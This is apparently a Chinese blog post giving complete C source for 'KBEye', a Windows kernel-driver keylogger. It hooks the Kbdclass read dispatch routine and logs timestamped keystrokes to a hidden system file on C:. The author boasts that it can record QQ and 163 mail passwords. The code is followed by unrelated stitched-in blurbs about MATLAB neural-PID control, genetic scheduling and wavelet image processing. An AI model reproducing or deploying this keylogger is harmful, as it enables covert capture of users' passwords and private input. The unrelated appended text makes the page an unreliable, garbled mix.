KBEye——专注键盘

KBEye键盘监听程序
KBEye——小菜作品,没什么技术含量!

/********************************************************************
created:    2010/03/17   23:10
filename:     KBEye.h
file base:    KBEye
file ext:    h
author:        ejoyc    
purpose:    declare and define something
*********************************************************************/

#pragma once

#include <ntddk.h>
#include <strsafe.h>

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath);

VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject);

BOOLEAN HookFunc(BOOLEAN bIsHook);

NTSTATUS NTAPI ObReferenceObjectByName(PUNICODE_STRING ObjectName, 
ULONG Attributes, 
PACCESS_STATE Passed, 
ACCESS_MASK DesiredAccess, 
POBJECT_TYPE ObjectType, 
KPROCESSOR_MODE Access, 
PVOID ParseContext, 
PVOID* ObjectPtr ); 

typedef NTSTATUS (*PDRVOBJDISPATCHFUNC)(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);



NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);

NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT  DeviceObject,IN PIRP  Irp,IN PVOID  Context );

VOID ThreadFunc(PVOID lpContext);

NTSTATUS InitThread();

typedef struct _KEYBOARD_INPUT_DATA
{
USHORT UnitId;//设备编号
USHORT MakeCode;//扫描码
USHORT Flags;//标记按键
USHORT Reserved;//保留
ULONG  ExtraInformation;//扩展信息
}KEYBOARD_INPUT_DATA,*PKEYBOARD_INPUT_DATA;


UCHAR AsciiTbl[]=
{
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09,    //normal
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09,    //caps
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09,    //shift
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09,    //caps + shift
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E
};

//----------------------------------华丽的分割线----------------------------------//

/********************************************************************
created:    2010/03/17   23:10
filename:     KBEye.c
file base:    KBEye
file ext:    c
author:        ejoyc
purpose:    implement something
*********************************************************************/

#include "KBEye.h"

extern POBJECT_TYPE IoDriverObjectType;

PDRIVER_OBJECT        KbdDriverObject=NULL;

PDRVOBJDISPATCHFUNC    OldKbdDrvObjDispatchFunc=NULL;

BOOLEAN        IsEnding=FALSE;

PIRP        PendingIrp   = NULL; 

ULONG        ulPendingIrps= 0;

PETHREAD    ThreadObject;

KEVENT        hEvent;

UCHAR        Buffer[32];

KSPIN_LOCK    SpinLock;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
KdPrint(("[KBEye]loading...\r\n"));
DriverObject->DriverUnload=KBEyeUnload;
KeInitializeEvent(&hEvent,SynchronizationEvent,FALSE);
MmLockPagableDataSection(&hEvent);
KeInitializeSpinLock(&SpinLock);

InitThread();

if (HookFunc(TRUE))
{
NtStatus=STATUS_SUCCESS;
}
return NtStatus;
}


VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject)
{
PRKTHREAD        CurrentThread=KeGetCurrentThread();
LARGE_INTEGER    interval=RtlConvertUlongToLargeInteger(250*1000*(-10));

HookFunc(FALSE);

IsEnding=TRUE;

KeSetPriorityThread(CurrentThread,LOW_REALTIME_PRIORITY);

if (ulPendingIrps!=0 && (PendingIrp->CancelRoutine==NULL || FALSE==IoCancelIrp(PendingIrp)))
{
while (ulPendingIrps>0)
{
KeDelayExecutionThread(KernelMode,FALSE,&interval);
}
}

KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeWaitForSingleObject(ThreadObject, Executive, KernelMode, FALSE, NULL);
MmUnlockPagableImageSection(&hEvent);

KdPrint(("[KBEye]unloading...\r\n"));
}

BOOLEAN HookFunc(BOOLEAN bIsHook)
{
BOOLEAN            bRet=FALSE;
UNICODE_STRING    usKbdclassName;
NTSTATUS        NtStatus;

KdPrint(("[KBEye]%-8s...\r\n",bIsHook?"Hook":"Unhook"));

RtlInitUnicodeString(&usKbdclassName,L"\\Driver\\Kbdclass");


if (bIsHook && OldKbdDrvObjDispatchFunc==NULL && KbdDriverObject==NULL)
{

NtStatus=ObReferenceObjectByName(    &usKbdclassName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
&KbdDriverObject);
if (NT_SUCCESS(NtStatus))
{
OldKbdDrvObjDispatchFunc=KbdDriverObject->MajorFunction[IRP_MJ_READ];
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],KBEyeReadFunc);
ObDereferenceObject(KbdDriverObject);
bRet=TRUE;        
}
}
else if (!bIsHook && KbdDriverObject!=NULL && OldKbdDrvObjDispatchFunc!=NULL)
{
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldKbdDrvObjDispatchFunc);
bRet=TRUE;
KbdDriverObject=NULL;
OldKbdDrvObjDispatchFunc=NULL;
}
else
{
KdPrint(("[KBEye]unsuccessful...\r\n"));
}

return bRet;
}

NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION IoStack=IoGetCurrentIrpStackLocation(Irp);

IoStack->CompletionRoutine=KBEyeReadCompletion;
IoStack->Context=IoStack->CompletionRoutine;
IoStack->Control|=SL_INVOKE_ON_SUCCESS;

InterlockedIncrement(&ulPendingIrps);

PendingIrp = (ulPendingIrps>0?Irp:NULL); 

return OldKbdDrvObjDispatchFunc(DeviceObject,Irp) ;    
}

NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT  DeviceObject,IN PIRP  Irp,IN PVOID  Context )
{
NTSTATUS                NtStatus=STATUS_SUCCESS;
PKEYBOARD_INPUT_DATA    pKeyData=NULL;
ULONG                    ulNums,ulIndex;
KIRQL                    Irql;

if (NT_SUCCESS(Irp->IoStatus.Status))
{
pKeyData=Irp->AssociatedIrp.SystemBuffer;
ulNums=Irp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
__try
{
for (ulIndex=0;ulIndex<ulNums;ulIndex++)
{
KeAcquireSpinLock(&SpinLock,&Irql);
RtlZeroMemory(Buffer,32);
switch(pKeyData->MakeCode)
{
case 0x01:
StringCchPrintfA(Buffer,32,"(%s)Esc\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Esc\r\n"));
break;
case 0x0E:
StringCchPrintfA(Buffer,32,"(%s)Backspace\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Backspace\r\n"));
break;
case 0x52:
StringCchPrintfA(Buffer,32,"(%s)Insert\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Insert\r\n"));
break;
case 0x5B:
StringCchPrintfA(Buffer,32,"(%s)Windows\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Windows\r\n"));
break;
case 0x0F:
StringCchPrintfA(Buffer,32,"(%s)Tab\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Tab\r\n"));
break;
case 0x1c:
StringCchPrintfA(Buffer,32,"(%s)Enter\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Enter\r\n"));
break;
case 0x3A:
StringCchPrintfA(Buffer,32,"(%s)CAPS LOCK\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]CAPS LOCK\r\n"));
break;
case 0x38:
StringCchPrintfA(Buffer,32,"(%s)Alt\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Alt\r\n"));
break;
case 0x2A:
StringCchPrintfA(Buffer,32,"(%s)Shift\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Shift\r\n"));
break;
case 0x1D:
StringCchPrintfA(Buffer,32,"(%s)Control\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Control\r\n"));
break;
case 0x53:
StringCchPrintfA(Buffer,32,"(%s)Delete\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Delete\r\n"));
break;
case 0x4B:
StringCchPrintfA(Buffer,32,"(%s)←\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]←\r\n"));
break;
case 0x4D:
StringCchPrintfA(Buffer,32,"(%s)→\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]→\r\n"));
break;
case 0x48:
StringCchPrintfA(Buffer,32,"(%s)↑\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↑\r\n"));
break;
case 0x50:
StringCchPrintfA(Buffer,32,"(%s)↓\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↓\r\n"));
break;
case 0x5D:
StringCchPrintfA(Buffer,32,"(%s)Menu\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Menu\r\n"));
break;
case 0x37:
StringCchPrintfA(Buffer,32,"(%s)PrintScreen\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]PrintScreen\r\n"));
break;
default:
if (AsciiTbl[pKeyData->MakeCode]>='0' && AsciiTbl[pKeyData->MakeCode]<='z')
{
StringCchPrintfA(Buffer,32,"(%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]);
KdPrint(("[KBEye](%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]));
}
else
{
StringCchPrintfA(Buffer,32,"(%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode);
KdPrint(("[KBEye](%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode));
}
}
pKeyData++;
KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeReleaseSpinLock(&SpinLock,Irql);
}    
InterlockedDecrement(&ulPendingIrps);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[KBEye]KBEyeReadCompletion Error!\r\n"));
}
}

if (Irp->PendingReturned)
{
IoMarkIrpPending(Irp);
}

if (Context!=NULL)
{
return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject,Irp,NULL);
}
else
{
return Irp->IoStatus.Status;
}
}

NTSTATUS InitThread()
{
NTSTATUS NtStatus;
HANDLE ThreadHandle;
NtStatus = PsCreateSystemThread(&ThreadHandle,
0,
0,
0,
0,
ThreadFunc,
0);

ObReferenceObjectByHandle(ThreadHandle, THREAD_ALL_ACCESS, NULL, KernelMode,(PVOID*)&ThreadObject, NULL);
ZwClose(ThreadHandle);
return NtStatus;
}

VOID ThreadFunc(PVOID lpContext)
{
UNICODE_STRING                usFileName;
OBJECT_ATTRIBUTES            ObjectAttributes;
HANDLE                        hFile;
IO_STATUS_BLOCK                IoStatus;
FILE_STANDARD_INFORMATION    FileInformation;
LARGE_INTEGER                CurrentSystemTime;
LARGE_INTEGER                CurrentLocalTime;
TIME_FIELDS                    TimeFields;
ULONG                        ulIndex;
UCHAR                        szInfoBuffer[64];
KIRQL                        Irql;

RtlInitUnicodeString(&usFileName, L"\\??\\C:\\KbEye.txt");
InitializeObjectAttributes(&ObjectAttributes,
&usFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
ZwCreateFile(&hFile,
GENERIC_ALL,
&ObjectAttributes,
&IoStatus,
NULL,
FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN ,
0,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
0,
0);
while(IsEnding==FALSE)
{
if (KeWaitForSingleObject(&hEvent, Executive, KernelMode, FALSE, NULL)==STATUS_SUCCESS)
{
KeQuerySystemTime(&CurrentSystemTime);        
ExSystemTimeToLocalTime(&CurrentSystemTime,&CurrentLocalTime);
RtlTimeToTimeFields(&CurrentLocalTime,&TimeFields);

KeAcquireSpinLock(&SpinLock,&Irql);

ZwQueryInformationFile(    hFile,
&IoStatus,
&FileInformation,
sizeof(FileInformation),
FileStandardInformation);
if(Buffer[31]!='\0')
{
Buffer[31]='\0';
}

RtlZeroMemory(szInfoBuffer,64);
StringCchPrintfA(szInfoBuffer,64,"[%04d-%02d-%02d,%02d:%02d:%02d]",TimeFields.Year,TimeFields.Month,TimeFields.Day,TimeFields.Hour,TimeFields.Minute,TimeFields.Second);
StringCchCatA(szInfoBuffer,64,Buffer);

for(ulIndex=0;ulIndex<64;ulIndex++)
{
if(szInfoBuffer[ulIndex]=='\0')
{    
break;
}
}

ZwWriteFile(hFile,
0,
0,
0,
&IoStatus,
szInfoBuffer,
ulIndex,
&FileInformation.EndOfFile,
0);

KeReleaseSpinLock(&SpinLock,Irql);
}
}
ZwClose(hFile);
}

//----------------------------------华丽的分割线 ----------------------------------//

本以为这个程序应该会有人关注,尽管其比较丑陋,但是好歹也可以记录QQ,163邮箱等什么的密码。至少比Ring3下的键盘钩子强——可惜没有多少人看。那我就加几个关键字:
keyword: Kbdclass,IRP-Hook,KBsniffer
提供了基于BP(Back Propagation)神经网络结合PID(比例-积分-微分)控制策略的Simulink仿真模型。该模型旨在实现对杨艺所著论文《基于S函数的BP神经网络PID控制器及Simulink仿真》中的理论进行实践验证。在Matlab 2016b环境下开发,经过测试,确保能够正常运行,适合学习和研究神经网络在控制系统中的应用。 特点 集成BP神经网络:模型中集成了BP神经网络用于提升PID控制器的性能,使之能更好地适应复杂控制环境。 PID控制优化:利用神经网络的自学习能力,对传统的PID控制算法进行了智能调整,提高控制精度和稳定性。 S函数应用:展示了如何在Simulink中通过S函数嵌入MATLAB代码,实现BP神经网络的定制化逻辑。 兼容性说明:虽然开发于Matlab 2016b,但理论上兼容后续版本,可能会需要调整少量配置以适配不同版本的Matlab。 使用指南 环境要求:确保你的电脑上安装有Matlab 2016b或更高版本。 模型加载: 下载本仓库到本地。 在Matlab中打开.slx文件。 运行仿真: 调整模型参数前,请先熟悉各模块功能和输入输出设置。 运行整个模型,观察控制效果。 参数调整: 用户可以自由调节神经网络的层数、节点数以及PID控制器的参数,探索不同的控制性能。 学习和修改: 通过阅读模型中的注释和查阅相关文献,加深对BP神经网络与PID控制结合的理解。 如需修改S函数内的MATLAB代码,建议有一定的MATLAB编程基础。
基于遗传算法的新的异构分布式系统任务调度算法研究(Matlab代码实现)内容概要:本文研究了一种基于遗传算法的新型异构分布式系统任务调度算法,并提供了Matlab代码实现。文章重点围绕异构环境中任务调度的优化问题,利用遗传算法进行求解,旨在提高资源利用率、降低任务完成时间并优化系统整体性能。文中详细阐述了算法的设计思路、编码方式、适应度函数构建、遗传操作流程及参数设置,并通过仿真实验验证了该算法相较于传统方法在调度效率和收敛性方面的优越性。此外,文档还列举了大量相关领域的研究案例和技术应用,涵盖电力系统、路径规划、车间调度、信号处理等多个方向,体现出较强的技术综合性与实践价值。; 适合人群:具备一定编程基础和优化算法知识的研究生、科研人员及从事智能优化、分布式系统调度、电力系统、自动化等相关领域的工程技术人员。; 使用场景及目标:①解决异构分布式系统中的任务调度优化问题;②学习遗传算法在实际工程问题中的建模与实现方法;③为科研项目提供算法参考与代码复现支持;④拓展多领域交叉应用的研究思路。; 阅读建议:建议读者结合Matlab代码深入理解算法实现细节,重点关注适应度函数设计与遗传操作流程,并尝试在不同场景下调整参数以观察性能变化。同时可参考文中列出的相关研究方向进行延伸探索,提升综合应用能力。
【图像处理】基于MATLAB的短时傅里叶变换和小波变换及图像处理(Matlab代码实现)内容概要:本文档介绍了基于MATLAB实现的短时傅里叶变换和小波变换在图像处理中的应用,涵盖信号与图像处理的核心技术方法。文档重点展示了如何利用这两种时频分析工具进行图像特征提取、去噪、压缩与增强等操作,并配有完整的Matlab代码实现,帮助读者深入理解其原理与实际应用流程。此外,文档还涉及多种图像处理技术如分割、融合、增强及压缩感知等内容,构成一个较为完整的图像处理技术体系。; 适合人群:具备一定信号处理或图像处理基础知识,熟悉MATLAB编程的高校学生、科研人员及工程技术人员,尤其适合从事电子信息、计算机视觉、遥感图像分析等相关领域的研究人员; 使用场景及目标:①学习短时傅里叶变换与小波变换的基本原理及其在图像处理中的具体应用;②掌握MATLAB环境下实现图像去噪、压缩、增强等任务的技术方法;③为科研项目或课程设计提供可复用的代码基础和技术参考; 阅读建议:建议结合文中提供的Matlab代码进行实践操作,边运行代码边理解算法细节,同时可拓展至其他信号处理应用场景以加深理解。注意区分短时傅里叶变换与小波变换的适用范围,前者适合平稳信号分析,后者更适合非平稳与多尺度特征提取。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值